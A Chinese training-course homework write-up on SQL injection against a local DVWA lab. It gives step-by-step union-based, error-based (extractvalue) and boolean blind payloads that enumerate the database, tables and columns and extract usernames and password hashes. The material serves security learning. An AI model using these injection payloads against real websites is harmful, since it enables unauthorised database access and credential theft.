SQL注入 浅尝试

news/2024/10/12 8:11:34

情境


参加了培训的第七次课, 涉及到了几个信息收集的工具,
这里是第七课的作业题, 及我的解答. (注: 使用本地虚拟机开启dvwa靶场, 10.0.0.155是ubuntu虚拟机的IP, dvwa挂在8080端口上. 登陆后初始化靶场并重新登录. 下列各题都将在靶场不同标签页中练习 复现.)



1、在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)

我的解答:  该题使用DVWA的"SQL Injection"标签页进行练习.

a. 先判断输入点是否存在注入
    i. 在UserID输入框输入1, 返回一条查询结果.
    ii. 在UserID输入框输入1', 网站报错如图. 其报错表述显示此处很可能有SQL注入.
    iii. 为排除 ii. 中报错是由于网页代码认为 单引号' 为非法字符报错, 在UserID输入框输入1'#, 得到与 a.i. 中相同的查询结果. 所以, 此处确实存在SQL注入. (磁条可略.)
img

b. 如果此处是数字型注入, 则输入的布尔逻辑可以有效地执行(即真假可被识别)
    i. 在UserID输入框输入1 and 1=1, 返回与a.i.相同的结果.
    ii. 在UserID输入框输入1 and 1=2, 后部逻辑判断为假, 期待返回查询不到, 实际返回与a.i.相同的结果.  由此可知, 输入的逻辑判断部分没有生效; 所以并不是单纯的 数字型注入.
  上述 b.i.中得到的结果, 也同时说明了, 此处不是单纯的 字符型注入. 即, 很可能是用户输入被网站定义成字符型, 但是数据库对应字段为数字型, b.i.中的输入被隐式转换了, 从而得出该结果

img

c. 如果此处是字符型注入, 则在逻辑部分逃逸的情况下, 输入的布尔逻辑可以有效地执行(即真假可被识别)
    i. 如上所述, b.i.中得到的结果, 已证实 此处不是单纯的 字符型注入.
    ii. 在UserID输入框输入1' and 1=1#, 返回与a.i.相同的结果.
    iii. 在UserID输入框输入1' and 1=2#, 网站没有返回任何结果
img

d. 综上所述, 此处 既不是单纯的数字型注入, 也不是单纯的字符型注入. 由 b.和c., 尤其是b.ii.所述, 此处应该是 "网站输入字符型+数据库字段数字型" 的混合SQL注入




2、分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。

我的解答:
    本题使用DVWA的"SQL Injection"标签页进行练习. 由第一题的过程结论可知, 此处存在 "网站输入字符型+数据库字段数字型" 的混合SQL注入; 且在 "User ID" 框中输入1时, 网站返回结果admin,admin; 在 "User ID" 框中输入5时, 网站返回结果Bob,Smith; 在 "User ID" 框中输入6时, 网站正常运行但不返回信息.
img


下面我先使用前端页面尝试爆破这个SQL注入.

a0. 前端 预备工作(假设此处只查询了一个数据库中的一张表)
  前端操作初期 其实并不关注 原select语句查询的字段名, 但是需要使用order by n测出查询语句查询了几个字段, 以便正确使用 union 或者 union all.
    网站前端输入内容的查询, 等价于以下命令查询:

use $1;
select $3 from $2 where $4 = '$id';

    其中 $1为业务数据库名; $2为该表名(如果不牵涉join的话); $3为查询的一个或多个字段名; $4为查询时筛选的字段名; $id标识前端输入内容.
    通过前端测试截图如下, 我们可知该SQL语句查询了两列字段值.
    img
于是, 等价查询命令具体了一点点: ($3a和$3b 为查询的两个字段名;)

use $1;
select $3a,$3b from $2 where $4 = '$id';

a1. 前端 使用“union”爆库名
    借助已有数据库的帮助, 构造联合查询爆库函数, 再取出对应于前端输入内容$id的部分. 此处我使用的前端输入是 -1' union select database(),version()#, 由此爆出 $1='dvwa', 结果如下图所示.
    img


a2. 前端 爆表名
    i. 借助元数据库 information_schema 的帮助, 构造联合查询爆表函数, 再取出对应于前端输入内容$id的部分. 此处我使用的前端输入是 -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
    由此爆出的表名有两个, 分别为 guestbookusers, 结果如下图所示.
    img

    ii. 由于一开始我就试出了此处使用的表含有5条记录, 所以 此处查询下这两个表分别有几条记录, 从而确定这里的业务表格是哪一个. 我构建的前端输入是: -1' union select (select count(*) from users),(select count(*) from guestbook)#
    返回的结果如下图所示, users表格有5条记录, guestbook只有1条记录. 此处业务表格为 users. 即 $2='users'.
    img


a3. 前端 爆字段名
    i. 借助元数据库 information_schema 的帮助, 构造联合查询爆字段函数, 再取出对应于前端输入内容$id的部分. 此处我使用的前端输入是:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users'#
    由此爆出的字段名有两个, 分别为user_id,first_name,last_name,user,password,avatar,last_login,failed_login, 结果如下图所示.
    img
    这里根据第5行的查询结果, 猜测 查询的两个字段分别是 first_name 和 last_name. 即 $3a='first_name',$3b='last_name'.


a4. 前端 爆具体数据
    此时, 找到感兴趣的字段名, 并使用limit m,1函数, 即可爆出业务表内容. 以 "user"字段 和 "password"字段 第2条记录 为例, 可以构建的联合查询爆数据的函数可以是: 1' union select user,password from users limit 2,1#
    运行结果如下, password字段可解密还原:
    img


b. 在后端使用联合注入实现“库名-表名-字段名-数据”的注入过程
由于是自己开的靶场, 很容易就在本地登陆了, 并在靶场的mysql里面做爆破验证.
由 a1.~a3. 的结论, 了解到 网页前端收到输入信息并提交, 相当于 在后端执行了如下查询:

use $1;
select $3a,$3b from $2 where $4 = '$id';

    其中 $1='dvwa', $2='users', $3a='first_name', $3b='last_name', $4='user_id'.


b1. 爆库名
    使用联合注入, 爆库名的过程, 在后端实际上相当于以下命令:

use dvwa;
select first_name,last_name from users where user_id = '1' union select database(),version()#';

    截图结果如下所示:
img


b2. 爆表名
    使用联合注入, 爆表名的过程, 在后端实际上相当于以下命令:

use dvwa;
;# 查询dvwa数据库里面的表名
select first_name,last_name from users where user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#';
;# 求取dvwa数据库的users数据表内的记录条数
select first_name,last_name from users where user_id = '1' union select (select count(*) from users),(select count(*) from guestbook)#';

    截图结果如下所示:
img


b3. 爆字段名
    使用联合注入, 爆字段名的过程, 在后端实际上相当于以下命令:

use dvwa;
select first_name,last_name from users where user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#';

    截图结果如下所示:
img


b4. 爆具体数据
    使用联合注入, 爆具体数据的过程, 在后端实际上相当于以下命令:

use dvwa;
select first_name,last_name from users where user_id = '1' union select user,password from users limit 2,1#';

    截图结果如下所示:
img




3、分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
      回答下列关于报错注入的问题:
(1)在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?
(2)报错注入中,为什么要突破单引号的限制,如何突破?
(3)在报错注入过程中,为什么要进行报错,是哪种类型的报错?

我的解答:  
    本题我还是使用DVWA的"SQL Injection"标签页进行练习. 由第一题的过程结论可知, 此处存在 "网站输入字符型+数据库字段数字型" 的混合SQL注入, 符合报错注入的使用场景; 只是单纯的报错注入场景, 我们不能利用网页返回的数据信息 而只能利用其报错信息;

前端报错注入

a0. 前端 预备工作(假设此处只查询了一个数据库中的一张表)
  前端操作初期 其实并不关注 原select语句查询的字段名, 但是可以使用order by n测出查询语句查询了几个字段**.
    网站前端输入内容的查询, 等价于以下命令查询:

use $1;
select $3 from $2 where $4 = '$id';

    其中 $1为业务数据库名; $2为该表名(如果不牵涉join的话); $3为查询的一个或多个字段名; $4为查询时筛选的字段名; $id标识前端输入内容.
    通过前端测试截图如下, 我们可知该SQL语句查询了两列字段值.
    img
于是, 等价查询命令具体了一点点: ($3a和$3b 为查询的两个字段名;)

use $1;
select $3a,$3b from $2 where $4 = '$id';

a1. 爆库名
    使用前端输入, 并得到返回结果如下所示:

1'  and  extractvalue(1,concat(0x7e,database()));#

    img


a2. 爆表名
    使用前端输入, 并得到返回结果如下所示:

1'  and  extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())));#

    img
    查询下两张表所含有的记录数量, 前端输入 和 运行结果, 如下所示:

1'  and  extractvalue(1,concat(0x7e,(select count(*) from guestbook),0x7e,(select count(*) from users)));#

    img
由上述查询可知, 数据表users含有更多的用户信息, 更值得爆破.


a3. 爆字段名
    使用前端输入, 并得到返回结果如下所示:

1'  and  extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')));#

    img
    为解决显示位不足的问题, 可逐次查询每个字段名, 使用前端输入:

1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)));#

    img


a4. 爆具体数据信息
    使用前端输入, 并得到返回结果如下所示:

1'  and  extractvalue(1,concat(0x7e,(select user from users where user_id=1),0x7e,(select password from users where user_id=1)));#

    img
由于显示位不足, 我们也可以每次只查询一个字段的信息; 若单个字段的值太长, 可使用length()函数获取字段值长度, 使用substr()函数截的部分字段值, 然后拼接出结果; 若是密码类型, 数据库中的值是加密后的结果, 需要解密后获得明文.


后端报错注入验证
在后端使用报错注入实现“库名-表名-字段名-数据”的注入过程
由于是自己开的靶场, 在本地登陆了, 就可以在靶场的mysql里面做爆破验证.
由 a1.~a3. 的结论, 了解到 网页前端收到输入信息并提交, 相当于 在后端执行了如下查询:

use $1;
select $3a,$3b from $2 where $4 = '$id';

    其中 $1='dvwa', $2='users', $3a='first_name', $3b='last_name', $4='user_id'.


b1. 爆库名
    使用报错注入, 爆库名的过程, 在后端实际上相当于以下命令:

use dvwa;
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,database()))#';

    截图结果如下所示:
img


b2. 爆表名
    使用报错注入, 爆表名的过程, 在后端实际上相当于以下命令:

use dvwa;
#; 取dvwa数据库中所有表名
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#';
#; 查取这两个表(guestbook, users)中, 分别有多少条记录
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select count(*) from guestbook),0x7e,(select count(*) from users)))#';

    截图结果如下所示, 看起来users数据表含有更多的用户信息:
img


b3. 爆字段名
    使用报错注入, 爆字段名的过程, 在后端实际上相当于以下命令:

use dvwa;
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))#';
#; 以上返回的结果发现显示位受限, 只能一个一个显示字段名
#; 先测出users数据表中包含的字段数量
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')))#';
#; 发现users数据表包含8个字段
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 4,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 5,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 6,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 7,1)))#';

    截图结果如下所示:
img


b4. 爆具体数据信息
    使用报错注入, 爆具体数据的过程(此处以爆出第3个用户的 用户名 和 密码 为例), 在后端实际上相当于以下命令:

use dvwa;
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select user from users limit 2,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select password from users limit 2,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select length(password) from users limit 2,1)))#';
#; password字段的数据太长了, 可将其截断分两次爆出
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select substr(password,1,16) from users limit 2,1)))#';
select first_name,last_name from users where user_id = '1'  and  extractvalue(1,concat(0x7e,(select substr(password,17) from users limit 2,1)))#';

    截图结果如下所示:
img


回答报错注入的问题

(1) 函数语法: extractvalue(XML_document, xpath_string), 其中第一个参数 表示XML文档的名称, 是string格式的; 第二个参数 表示XML文件路径, 需符合xpath_string格式. '~'字符在string格式中是合法的; 在xpath_string格式中是非法的. 故写在参数1的位置不报错; 写在参数2的位置报错.
(2) 报错注入 往往使用在字符型MYSQL注入的场景下. 字符型的输入, 默认需要在字符串外面加单引号; 但同时为了不让 设定会报错的函数部分 被当做字符串, 需要将它从字符型的左单引号中逃逸出来. 所以, 往往在逻辑连接符 and之前补一个单引号. 同时, 为了不让原先默认的右单引号引起语法错误, 我们在输入的末尾补一个井号符(#), 将余下的右单引号注释掉.
(3) 报错注入的过程中, 报错的目的是, 利用报错函数让SQL解析攻击语句, 并将解析执行得到的有效信息通过报错的途径反馈给攻击者. 报错类型是 不符合数据库函数语法规则, 即语法错误, 尤其是函数 输入数据类型错误.




4、任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。

我的解答:  
布尔盲注, 是通过 以找到的返回true的基本查询为基准, 使用and构建逻辑判定. 若and后面的逻辑判定为真, 则整个查询返回真; 若and后面的逻辑判定为假, 则整个查询返回假.
时间盲注, 是通过 以找到的返回true的基本查询为基准, 使用and连接if函数. if函数的语法格式为if(1,2,3), 其中参数1为判断条件; 参数2为sleep(n)函数, 表示判定为真则多停留n秒; 参数3为判定为假返回的值.
两种盲注使用的情境类似, 都需要构建逻辑判定, 仅使用方式不同. 这里选择布尔盲注 进行演练.

此处以DVWA靶场, "SQL Injection(Blind)"标签页为前端环境. 先测试此处是否存在注入, 以及注入的类型是什么. 尝试输入"1", "5", "6", "1'", 1 and 1=1", "1 and 1=2", "1' and 1=1", "1' and 1=1#", "1' and 1=2#", 得到如下结果.
img

布尔盲注 - 前端

a0. 前端 预备工作(假设此处只查询了一个数据库中的一张表)
  前端操作初期 其实并不关注 原select语句查询的字段名, 但是可以使用order by n测出查询语句查询了几个字段**.
    网站前端输入内容的查询, 等价于以下命令查询:

use $1;
select $3 from $2 where $4 = '$id';

    其中 $1为业务数据库名; $2为该表名(如果不牵涉join的话); $3为查询的一个或多个字段名; $4为查询时筛选的字段名; $id标识前端输入内容.
    通过前端测试截图如下, 我们可知该SQL语句查询了两列字段值.
    img
于是, 等价查询命令具体了一点点: ($3a和$3b 为查询的两个字段名;)

use $1;
select $3a,$3b from $2 where $4 = '$id';

a1. 爆库名
    首先试出库名的字符数
    使用前端输入, 并得到返回结果如下所示:
1' and (length(database())>3)#
1' and (length(database())>4)#
1' and (length(database())=4)#
    img

    逐个爆出库名的字符
    使用前端输入, 并得到返回结果如下所示:
1' and (ascii(substr(database(),1,1))>79)#
1' and (ascii(substr(database(),1,1))>103)#
1' and (ascii(substr(database(),1,1))>91)#
1' and (ascii(substr(database(),1,1))>97)#
1' and (ascii(substr(database(),1,1))>100)#
1' and (ascii(substr(database(),1,1))=100)#
    img
由此可知, 业务数据库库名一共4位, 且它的第一位是字母'd'. 重新使用二分法, 可获得库名的后面几位.


a2. 爆表名
    首先试出该数据库中有几张表
    使用前端输入, 并得到返回结果如下所示, 发现该数据库中有两个表:
1' and ((select count(table_name) from information_schema.tables where table_schema=database()) >3)#
1' and ((select count(table_name) from information_schema.tables where table_schema=database()) =2)#
    img

    再试出表名的字符数
    使用前端输入, 并得到返回结果如下所示, 发现两个数据表表名分别是9个字符和5个字符:
1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1))>3)#
1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1))>10)#
1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1))=9)#
1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>3)#
1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5)#
    img

    逐个爆出表名的字符
    使用前端输入, 并得到返回结果如下所示, 所以第一个表名(9字符)的首位是'g'(char(103)='g'):
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>79)#
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>103)#
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))=103)#
    img


布尔盲注 - 后端
在后端使用布尔盲注实现“库名-表名”的注入过程
由于是自己开的靶场, 在本地登陆了, 就可以在靶场的mysql里面做爆破验证.
由 a0.~a2. 的结论, 了解到 网页前端收到输入信息并提交, 相当于 在后端执行了如下查询:

use $1;
select $3a,$3b from $2 where $4 = '$id';

    其中 $1='dvwa', $2='users', $3a='first_name', $3b='last_name', $4='user_id'.


b1. 爆库名
    使用布尔盲注, 爆库名的过程, 在后端实际上相当于以下命令:

use dvwa;
#;首先试出库名的字符数
select first_name,last_name from users where user_id = '1'  and  (length(database())>3)#';
select first_name,last_name from users where user_id = '1'  and  (length(database())=4)#';
#;再逐个爆出库名的字符
select first_name,last_name from users where user_id = '1' and (ascii(substr(database(),1,1))>79)#';
select first_name,last_name from users where user_id = '1' and (ascii(substr(database(),1,1))>103)#';
select first_name,last_name from users where user_id = '1' and (ascii(substr(database(),1,1))>91)#';
select first_name,last_name from users where user_id = '1' and (ascii(substr(database(),1,1))=100)#';
select char(100); #'d'
select first_name,last_name from users where user_id = '1' and (ascii(substr(database(),2,1))=118)#';
select char(118); #'v'
select first_name,last_name from users where user_id = '1' and (ascii(substr(database(),3,1))=119)#';
select char(119); #'w'
select first_name,last_name from users where user_id = '1' and (ascii(substr(database(),4,1))=97)#';
select char(97); #'a'

    截图结果如下所示:
img
img
img


b1. 爆表名
    使用布尔盲注, 爆表名的过程, 在后端实际上相当于以下命令:

use dvwa;
#;首先试出该数据库中有几张表
select first_name,last_name from users where user_id = '1' and ((select count(table_name) from information_schema.tables where table_schema=database()) >3)#';
select first_name,last_name from users where user_id = '1' and ((select count(table_name) from information_schema.tables where table_schema=database()) =2)#';
#;再试出表名的字符数
select first_name,last_name from users where user_id = '1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1))>3)#';
select first_name,last_name from users where user_id = '1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1))>10)#';
select first_name,last_name from users where user_id = '1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1))=9)#';
select first_name,last_name from users where user_id = '1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>3)#';
select first_name,last_name from users where user_id = '1' and (length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5)#';
#;逐个爆出表名的字符
select first_name,last_name from users where user_id = '1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>79)#';
select first_name,last_name from users where user_id = '1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>103)#';
select first_name,last_name from users where user_id = '1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))=103)#';
select char(103);

    截图结果如下所示:
img
img
img




预习:SQL注入、sqlmap

预习资料:课件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/70517.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Invicti v24.10.0 for Windows - Web 应用程序安全测试

Invicti v24.10.0 for Windows - Web 应用程序安全测试Invicti v24.10.0 for Windows - Web 应用程序安全测试 Invicti Standard v24.10.0 – 8 October 2024 请访问原文链接:https://sysin.org/blog/invicti/ 查看最新版。原创作品,转载请保留出处。 作者主页:sysin.orgInv…

Unity3d 切片不起作用的解决办法!

解决办法:查看自己的canvas上的canvas Scaler 的上图参数是否为100. 原因,此处的设置会影响切片的显示,由默认的100改成了0,导致九宫格的失效;

ServiceMesh 3:路由控制(图文总结)

★ ServiceMesh系列 1 Istio部署 1.1 连接测试机 进入测试机服务器... 1.2 安装Istio 1.2.1 通过官方网站下载Istio# 下载最新版本的Istio $ curl -L https://istio.io/downloadIstio | sh -# 或者下载指定版本: $ curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.…

Studio 3T 2024.4 发布下载,新增功能概览

Studio 3T 2024.4 (macOS, Linux, Windows) - MongoDB 的专业 GUI、IDE 和 客户端,支持自然语言查询Studio 3T 2024.4 (macOS, Linux, Windows) - MongoDB 的专业 GUI、IDE 和 客户端,支持自然语言查询 The professional GUI, IDE and client for MongoDB 请访问原文链接:ht…

布客技术评论 241012:致我们艹蛋的社区合伙时光

如何提高一个人的执行力? 很简单,就是不管细节,先搞起来再说。 之前18年的时候我尝试和合伙人一起做短视频。对,就是还没火的时候我就有这个远见了。 当时我有一部分精力放在翻译活动上,就委托合伙人全权负责。 结果他特别NC,一是认为视频必须百分百原创,二是必须做长做…

Roslyn 分析器 读取 csproj 项目文件的 AdditionalFiles Item 的 Metadata 配置

定义在 ItemGroup 里面的各个引用文件的 Item 可带上自定义的 Metadata 内容,这部分内容需要转换到 AdditionalFiles 的 Metadata 上才能被分析器所获取在上一篇博客告诉大家如何在 IIncrementalGenerator 增量 Source Generator 里读取 csproj 项目文件的属性配置,详细请看:…